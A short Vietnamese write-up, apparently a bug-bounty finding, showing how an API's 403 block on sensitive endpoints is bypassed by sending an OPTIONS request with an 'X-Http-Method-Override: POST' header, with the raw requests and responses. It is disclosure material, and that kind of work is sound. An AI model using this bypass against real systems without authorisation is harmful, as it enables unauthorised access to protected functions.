Ứng dụng được đề cập trả về 403 response cho hầu hết các sensitive endpoints. Tuy nhiên, nếu dùng OPTIONS request thì nó lại cho qua.
Ví dụ:
POST /user/profile/exists HTTP/2
Host: api.[redacted].com
Authorization: Bearer <jwt>
Content-Type: application/json;charset=UTF-8
{"":""}
HTTP/2 403 Forbidden
Tuy nhiên, backend server lại accept header X-Http-Method-Override
và attacker có thể dùng OPTIONS
method cùng X-Http-Method-Override: POST
để tạo ra POST request nhưng núp bóng dưới 1 OPTIONS
request.
OPTIONS /user/profile/exists HTTP/2
Host: api.[redacted].com
X-Http-Method-Override: POST
Authorization: Bearer <jwt>
Content-Type: application/json;charset=UTF-8
{"":""}
HTTP/2 400 Bad Request
{"error":{"source":"user-svc","code":"BAD_REQUEST","message":"[username: must not be null]"}}